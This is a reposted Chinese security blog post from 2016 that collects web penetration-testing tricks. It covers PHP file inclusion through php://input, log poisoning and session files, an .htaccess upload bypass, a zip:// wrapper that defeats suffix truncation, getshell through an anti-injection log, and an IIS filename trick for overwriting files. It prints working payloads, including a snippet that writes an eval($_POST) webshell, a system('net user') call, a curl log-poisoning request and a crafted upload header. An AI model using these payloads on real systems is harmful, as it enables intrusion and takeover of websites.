技术笔记

盘点那些渗透测试中的奇淫技巧

字号+ 作者:Binghe 来源:转载 2016-11-25 10:14 我要评论( )

前言: 总结下渗透测试中的一些小技巧,仅做总结。 目录: 0x01 php文件包含姿势 0x02 .htaccess文件突破黑名单解析 0x03 php流封装绕过截断 0x04 通用防注入系统 ......

前言:
总结下渗透测试中的一些小技巧,仅做总结。
 
目录:

0x01 php文件包含姿势
0x02 .htaccess文件突破黑名单解析
0x03 php流封装绕过截断
0x04 通用防注入系统getshell
0x05 iis+php黑名单上传突破


正文


0x01 php文件包含姿势
其实这类姿势国外黑阔早有总结
         includinguploaded files -straight forward method; this requires existence of an upload functionality inthe tested website (e.g. photo upload, or document upload), access to uploadfunctionality and storage of uploaded files in a place accessible by the PHPscript 

(如果网站存在文件上传功能,比如前台传头像之类,可以尝试包含上传的文件,当然文件可控。)
         ● include data://or php://input pseudo protocols - these protocols must be enabled andaccessible via include (allow_url_include set to on); also, php://filter pseudo protocol is usable in somecases 

(利用php封装协议php://input和data://,包含post数据造成php命令执行,当然allow_url_include选项需要打开
         ● including logs - this required PHP script to be ableto access certain types of logs, e.g. httpd server error logs or access logs;also, size of these logs might make the attack harder (e.g. if error log has2GB)
(因为包含的可以是任意文件,log文件也是可以,当我们提交恶意代码时也会被记录,于是包含记录了恶意代码的log文件是个好主意)
         
● including /proc/self/environ - this requires PHP to be run as CGIon a 
system that hasthe /proc pseudo-filesystem and PHP script is required to have access to theaforementioned pseudo-file
(包含/proc/self/environ文件: 这需要PHP运行作为一个具有cgion
/proc伪文件的系统且PHP脚本有权访问这些伪文件)
         ●  include session files - this requires the attacker to beable to influence the value of any string in a session (to inject code, e.g.<?php phpinfo(); ? >), the sessions must be stored in a serializedsession file (as e.g. x| s:19:"<?php phpinfo(); ?>"; - this isthe default setting for PHP) and the PHP script must be able to access thesession file (usually names /tmp/ sess_SESSIONID)
(包含会话文件-这需要攻击者能控制会话中的任何字符串值(注入代码,例如phpinfo()),会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件(通常是/tmp/ sess_SESSIONID文件
          ●  include other files created by PHPapplication - thisis very application and system specific,    but it basically describes any otherfile that is created the websites functionality and the way it works, e.g.database files, cache files, application-level logs, etc
Additional toolsincluded both the poison nul byte (addressed in PHP 5.3.4[1] released2010-12-09) and excessive slash (/) suffix into path truncation bug[2] (patchedin 2009).
(包含其他由php应用创建的文件,只要你能想到的,都可以尝试创建 然后包含他,比如数据库文件,缓存文件,应用程序级别的日志)

我们来主要说下第二种和第三种姿势
php://input属于php内置的封装协议,其实都主要是include()函数处理不当
这里我们准备一个有文件包含的php文件
[AppleScript] 纯文本查看 复制代码
?
<?php
  include($_GET['url']);
 ?>
我们访问http://127.0.0.1/111332.php?url=php://input
然后我们通过POST提交php代码。
黑阔可利用此写入一句话木马:

[AppleScript] 纯文本查看 复制代码
?
<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>

同理,提交:
[AppleScript] 纯文本查看 复制代码
?
<?php system("net user")?>
可成功通过system函数成功执行命令。
 
 
第三种姿势也是比较巧妙:
包含日志文件getshell(需要一定读权限)
         首先找到日志文件存放位置,利用文件包含漏洞去读取
apache 日志默认在
/etc/httpd/logs/access_log                  
     
也可以先找apache配置文件,通过任意文件读取漏洞配置文件找到日志路径
/etc/httpd/conf/httpd.conf
                        
让日志文件插入php代码 

 
方法一 
使用burpsuit抓包访问 ,绕过浏览器编码<>
 
方法二 
curl 访问不存在的url
curl http://192.168.192.1/a.php?=<?php phpinfo(); ?>
如此,php代码就被写到log里面了
包含一下日志:
http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log
 
 
0x02 .htaccess文件突破黑名单解析
因为是黑名单,自定义.htaccess上传,下面是内容
[AppleScript] 纯文本查看 复制代码
?
<FileMatch “test.jpg”>
SetHandler application/x-httpd-php

</FileMatch>

同目录下,上传一个test.jpg文件,没有扩展名,内容是一句话,这个时候就成功绕过。

 
0x03 php流封装绕过截断
 
思路源于王松童鞋 @王松_striker
思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3

Example #3 Zip 流封装,读取一个OpenOffice 文件的元信息
[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
<?php
$reader = new XMLReader();
 
$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
    if ($reader->nodeType == XMLREADER::ELEMENT) {
        $elm = $reader->name;
    } else {
        if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
            break;
        }
        if (!trim($reader->value)) {
            continue;
        }
        $odt_meta[$elm] = $reader->value;
    }
}
print_r($odt_meta);
?>
此例使用了旧的 API(PHP 4),它打开了一个 ZIP 文件归档,读取归档里的每个文件,并输出文件内容。此例用到的 test2.zip 文档是 ZZIPlib 源分布里测试文档中的一个。
假设存在文件包含的代码为:
[AppleScript] 纯文本查看 复制代码
?
1
2
3
4
5
<?php
 
$a = $_GET['file'];
 
include $a.'.html.php';
但是我们%00无法截断, 只能包含 xxxx.html.php
首先我们新建一个hello.html.php,内容为phpinfo();

然后压缩成zip,结构如下图:
 

然后访问如下网址,成功包含压缩文件内的hello.html.php
http://localhost/test/blog.php?file=zip://test.zip%23hello

如图:
 

把我们输入的变量和include后面的变量合起来就是
zip://test.zip#hello.html.php

代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。
 
0x04 通用防注入系统getshell
相信许多朋友渗透测试都遇到过这种情况
 

系统做了数据提交记录,我们通过阅读类似程序的源码得知数据记录在sqlin.asp
 

于是想到直接提交一句话木马。但是没有成功
┼攠數畣整爠煥敵瑳∨≡┩愾           密码 a  (加密方式是:ANSI->Unicode)
提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾
 

菜刀连接sqlin.php即可
 
0x05 iis+php黑名单上传突破
 
环境: php+window+iis
局限: 文件上传黑名单机制,略显鸡肋

科普:
php+window+iis环境下:
双引号(“>”) <==> 点号(“.”)’;
大于符号(“>”) <==> 问号(“?”)’;
小于符号(“<“) <==> 星号(“*”)’;

有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋.

不过P牛已经给出完美利用的方法:
思路如下:
首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖..
可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?
别急,办法总是有的..
我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00 ..
对!有的人可能还会用冒号(“:”)去截断,如:bypass.php:jpg
但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵说到这里明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用.

按照上面提供的思路,实现..
本地测试地址:http://**.**.**.**/upfile.php 环境:Windows+IIS7.5

1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图
-

点击forward后,可以看见成功生成空白的bypass.php文件


2)利用上面的系统特性覆盖该文件
从上面已经知道“<” 就等于 “*”,”*”代码任意字符,于是乎..
我们可以这样修改上传的文件名,如下:
[AppleScript] 纯文本查看 复制代码
?
1
2
3
4
5
6
------WebKitFormBoundaryaaRARrn2LBvpvcwK</pre>
Content-Disposition: form-data; name="file"; filename="bypass.<<<"
  
Content-Type: image/jpeg
  
//注意!文件名为:bypass.<<<

点击go..,即可成功覆盖bypass.php文件,如图



对比上面的两个图,bypass.php被我们成功的写入了内容..


参考资料:乌云知识库 binghesec Phithon 王松

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/274.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • curl渗透测试常用功能

    curl渗透测试常用功能

    2017-12-14 10:50

  • 常规web渗透测试漏洞描述及修复建议

    常规web渗透测试漏洞描述及修复建议

    2017-12-14 10:48

  • 企业渗透测试流程

    企业渗透测试流程

    2017-04-18 08:51

  • 渗透测试中的Bypass技巧(二)

    渗透测试中的Bypass技巧(二)

    2017-03-07 09:14

网友点评
暂时未开启评论功能~